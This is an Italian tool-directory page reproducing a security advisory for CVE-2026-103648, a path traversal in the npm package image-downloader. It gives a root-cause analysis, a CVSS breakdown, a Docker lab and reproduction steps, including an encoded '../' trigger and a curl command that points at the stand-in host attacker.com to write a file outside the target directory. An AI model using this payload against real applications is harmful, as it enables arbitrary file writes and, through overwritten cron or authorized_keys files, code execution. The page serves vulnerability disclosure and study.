Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-103648 — Advisory e PoC per CVE-2026-103648, un path traversal (CWE-22) in image-downloader 4.3.0 che consente la scrittura arbitraria di file, con analisi della causa principale, diff della patch e laboratorio Docker. | Kitploit
Strumenti/GitHubGitHub/eternullsec/cve-2026-103648
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e FormazioneRed TeamingLab e Pratica
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

Advisory e PoC per CVE-2026-103648, un path traversal (CWE-22) in image-downloader 4.3.0 che consente la scrittura arbitraria di file, con analisi della causa principale, diff della patch e laboratorio Docker.

Vedi Repository
6h 9m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-103648 — Path Traversal in image-downloader

CVE CVSS CWE Package Status License

Scoperto da: Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ Solo a scopo didattico. Questo repository documenta una vulnerabilità divulgata in modo responsabile. Tutto il codice PoC è destinato esclusivamente a ricerca sulla sicurezza autorizzata e test in ambienti di laboratorio isolati. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta ai test.


📋 Riepilogo dell'Advisory

CampoDettagli
CVE IDCVE-2026-103648
Voce NVDnvd.nist.gov/vuln/detail/CVE-2026-103648
Punteggio CVSS v3.19.1 Critico — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: Limitazione impropria di un percorso a una directory ristretta
Pacchettoimage-downloader (npm) di demsking
Download settimanali npm~11.000 (~38.000/mese) — fonte
Versioni interessate< 4.3.1 (tutte le versioni incluse 4.3.0)
Versione corretta4.3.1
Assegnato daGitLab
Pubblicato2026-10-02
SegnalatoreAmirhossein Roustaei (@EterNullSec), Eternull Security

🔬 Analisi tecnica della causa principale

La vulnerabilità risiede nella logica di estrazione del nome file di [email protected]. Questo è il codice sorgente effettivo della versione interessata (index.js, estratto direttamente dal pacchetto npm pubblicato):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

Il bug esatto

  1. path.basename(pathname) viene chiamato sul pathname dell'URL ancora codificato in percentuale. Una sequenza come %2e%2e%2fpwned.sh non contiene alcun / letterale, quindi path.basename() considera l'intera stringa come un unico nome file e la restituisce invariata — nulla viene rimosso.
  2. Il risultato viene poi passato a decodeURIComponent(). Questo è il passaggio che riconverte %2e%2e%2f in un ../ letterale — ma a questo punto ha già superato il passaggio di basename che avrebbe dovuto sanificarlo.
  3. path.join(options.dest, decodedBasename) viene chiamato con una stringa che ora contiene un segmento ../ reale. path.join() normalizza .. allo stesso modo in cui farebbe cd .. — quindi il percorso di scrittura finale si risolve in una posizione al di fuori di options.dest.

In breve: il codice decodifica il nome file nel modo giusto, ma nell'ordine sbagliato rispetto a path.basename(). Decodifica-poi-basename è sicuro; basename-poi-decodifica non lo è.

Trigger minimo

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

Dettaglio CVSS

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 Modello di attacco

Questo laboratorio dimostra il meccanismo del bug end-to-end in un singolo script per facilità di riproduzione, ma vale la pena esplicitare il modello di attacco nel mondo reale:

  • Vittima: qualsiasi applicazione che chiama download.image({ url, dest }) di image-downloader con un valore url che non controlla completamente — ad esempio un URL inviato da un utente (funzionalità di importazione avatar/immagini), estratto da un payload di webhook, o letto da un feed RSS/contenuti.
  • Attaccante: controlla (o può reindirizzare verso) il server HTTP a cui punta l'url della vittima, e controlla la componente di percorso di quell'URL — il che è sufficiente da solo, poiché il traversal risiede nel percorso dell'URL (%2e%2e%2f...), non nel corpo della risposta.
  • Impatto: il processo vittima scrive un file scelto dall'attaccante in un percorso scelto dall'attaccante, al di fuori della directory prevista dallo sviluppatore — in container o script in esecuzione con ampio accesso al filesystem, questo si trasforma regolarmente in esecuzione di codice (ad esempio sovrascrivendo un file cron, un file authorized_keys, o un eseguibile che l'applicazione esegue successivamente).

In exploit/exploit.py, i ruoli di attaccante e vittima sono collassati in un unico script per comodità di laboratorio (avvia sia la richiesta del server "vittima" sia il server di payload controllato dall'attaccante). In uno scenario di sfruttamento reale queste sono due parti separate e non correlate — il PoC è strutturato in questo modo puramente affinché la vulnerabilità sia riproducibile con un singolo comando.


🧪 Configurazione dell'ambiente di laboratorio

Prerequisiti

  • Docker & Docker Compose OPPURE Node.js v18+
  • Python 3.x (per lo script di exploit)

Opzione A — Docker (Consigliata)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

Il server vulnerabile sarà disponibile all'indirizzo http://localhost:3000.

Opzione B — Node.js manuale

cd vulnerable-app/
npm install
node server.js

💥 Passaggi per la riproduzione (PoC)

Passaggio 1 — Avviare il server vulnerabile

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

Passaggio 2 — Eseguire l'exploit

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

Oppure manualmente con curl (il traversal è nel percorso dell'URL, non nel corpo della risposta):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

Passaggio 3 — Verificare il traversal

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 Prova di esecuzione

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Scarica lo strumento